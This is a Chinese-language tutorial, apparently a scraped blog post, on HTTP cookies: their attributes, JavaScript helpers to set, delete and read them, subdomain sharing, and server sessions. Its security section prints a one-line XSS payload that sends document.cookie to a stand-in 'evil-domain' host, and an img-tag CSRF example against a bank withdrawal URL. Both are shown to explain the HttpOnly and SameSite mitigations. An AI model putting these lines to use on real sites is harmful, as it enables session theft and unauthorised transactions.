Cookie 是用戶瀏覽器保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶併發送到服務器上。javascript
Cookie 主要用於如下三個方面:php
Domain
標識指定了哪些主機能夠接受 Cookie。若是不指定,默認爲當前文檔的主機(不包含子域名)。若是指定了 Domain,則通常包含子域名(子域名能夠訪問父域名的 Cookie)。html
例如,若是設置 Domain=mozilla.org
,則 Cookie 也包含在子域名中(如 developer.mozilla.org
)。java
Path 標識指定了主機下的哪些路徑能夠接受 Cookie(該 URL 路徑必須存在於請求 URL 中)。以字符 %x2F
(/
) 做爲路徑分隔符,子路徑也會被匹配。跨域
設置 Path=/docs
,則如下地址都會匹配:瀏覽器
/docs
/docs/Web/
/docs/Web/HTTP
Cookie 的過時時間,過了這個時間以後 Cookie 將會自動刪除。安全
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製代碼
Max-Age
的單位是秒。服務器
document.cookie = 'promo_shown=1; Max-Age=2600000; Secure'
複製代碼
爲避免跨域腳本 (XSS) 攻擊,經過 JavaScript 的 Document.cookie
API 沒法訪問帶有 HttpOnly
標記的 Cookie,它們只應該發送給服務端。若是包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那麼就應該爲其設置 HttpOnly
標記。cookie
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
複製代碼
標記爲 Secure
的 Cookie 只應經過被 HTTPS 協議加密過的請求發送給服務端。併發
ref
SameSite
Cookie 容許服務器要求某個 Cookie 在跨站請求時不會被髮送,從而能夠阻止跨站請求僞造攻擊(CSRF)。
Set-Cookie: key=value; SameSite=Strict
複製代碼
None
瀏覽器會在同站請求、跨站請求下繼續發送 Cookies,不區分大小寫;Strict
瀏覽器將只發送相同站點請求的 Cookie(即當前網頁 URL 與請求目標 URL 徹底一致)。若是請求來自與當前 location 的 URL 不一樣的 URL,則不包括標記爲 Strict 屬性的 Cookie;Lax
在新版本瀏覽器中,爲默認選項,Same-site Cookies 將會爲一些跨站子請求保留,如圖片加載或者 iframe 不會發送,而點擊 <a>
標籤會發送;請求類型 | 示例 | 正常狀況 | Lax |
---|---|---|---|
連接 | <a href="..."></a> |
發送 Cookie | 發送 Cookie |
預加載 | <link rel="prerender" href="..."/> |
發送 Cookie | 發送 Cookie |
GET 表單 | <form method="GET" action="..."> |
發送 Cookie | 發送 Cookie |
POST 表單 | <form method="POST" action="..."> |
發送 Cookie | 不發送 |
iframe | <iframe src="..."></iframe> |
發送 Cookie | 不發送 |
AJAX | $.get("...") |
發送 Cookie | 不發送 |
Image | <img src="..."> |
發送 Cookie | 不發送 |
ref
設置 Cookie 和修改 Cookie 相同:
function setCookie(cname, cvalue, exdays) {
const d = new Date()
d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000)
const expires = 'expires=' + d.toUTCString()
return (document.cookie = cname + '=' + cvalue + ';' + expires + ';path=/')
}
複製代碼
刪除 Cookie:
function deleteCookie(cname) {
const d = new Date()
const expires = 'expires=' + d.toUTCString()
return (document.cookie = cname + '=' + ';' + expires + ';path=/')
}
複製代碼
查詢 Cookie:
function getCookie(cname) {
const cookieObj = document.cookie.split(';').reduce((prev, curr) => {
const entry = curr.split('=')
prev[entry[0].trim()] = entry[1]
return prev
}, {})
if (cname) return cookieObj[cname]
return cookieObj
}
複製代碼
Cookie 能夠設置成給子域名共享,相似於在 x.com.cn
設置的 Cookie 能夠提供給 a.x.com.cn
、b.x.com.cn
、suba.a.x.com.cn
等域名訪問。
好比下面的方式:
res.writeHead(200, {
'Set-Cookie': ['name=sub-x-com-cn; path=/;domain=x.com.cn', 'name=only-x-com-cn; path=/'],
})
複製代碼
domain=x.com.cn
表示 domain=x.com.cn
及其子域名均可以使用, 不寫 doamin
默認只有當前域名可用,設置的 Cookie 是這樣的:
總結
x.com.cn
設置爲 ...;domain=x.com.cn
的 Cookie 能夠給 x.com.cn
及其子域名使用;x.com.cn
設置沒有 domain
的 Cookie 只能給 x.com.cn
使用;x.com.cn
設置了 name=lxfriday;domain=subx.x.com.cn
,這種設置是無效的;new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie
複製代碼
HttpOnly
類型的 Cookie 因爲阻止了 JavaScript 對其的訪問性而能在必定程度上緩解此類攻擊。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
複製代碼
當你打開含有了這張圖片的 HTML 頁面時,若是你以前已經登陸了你的銀行賬號而且 Cookie 仍然有效(尚未其它驗證步驟),你銀行裏的錢極可能會被自動轉走。
這種狀況只是一種假設,實際上應該不容許使用 GET 修改數據,對轉帳的操做須要添加二次確認。
Session 機制是一種服務器端的機制,服務器使用一種相似於散列表的結構(也可能就是使用散列表)來保存信息。
當程序須要爲某個客戶端的請求建立一個 Session 時,服務器首先檢查這個客戶端的請求裏是否已包含了一個 Session 標識(稱爲 Session ID),若是已包含則說明之前已經爲此客戶端建立過 Session,服務器就按照 Session ID 把這個 Session 檢索出來使用(檢索不到,會新建一個),若是客戶端請求不包含 Session ID,則爲此客戶端建立一個 Session 而且生成一個與此 Session 相關聯的 Session ID,Session ID 的值應該是一個既不會重複,又不容易被找到規律以仿造的字符串,這個 Session ID 將被在本次響應中返回給客戶端保存。
Session 從客戶端傳輸到服務端的方式有兩種:
<form>
中添加一個隱藏字段,把 Session 傳回服務器;基於 Cookie 實現,會話期 Cookie 是最簡單的 Cookie:瀏覽器關閉以後它會被自動刪除,也就是說它僅在會話期內有效。會話期 Cookie 不須要指定過時時間(Expires
)或者有效期(Max-Age
)。
Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly
複製代碼
ref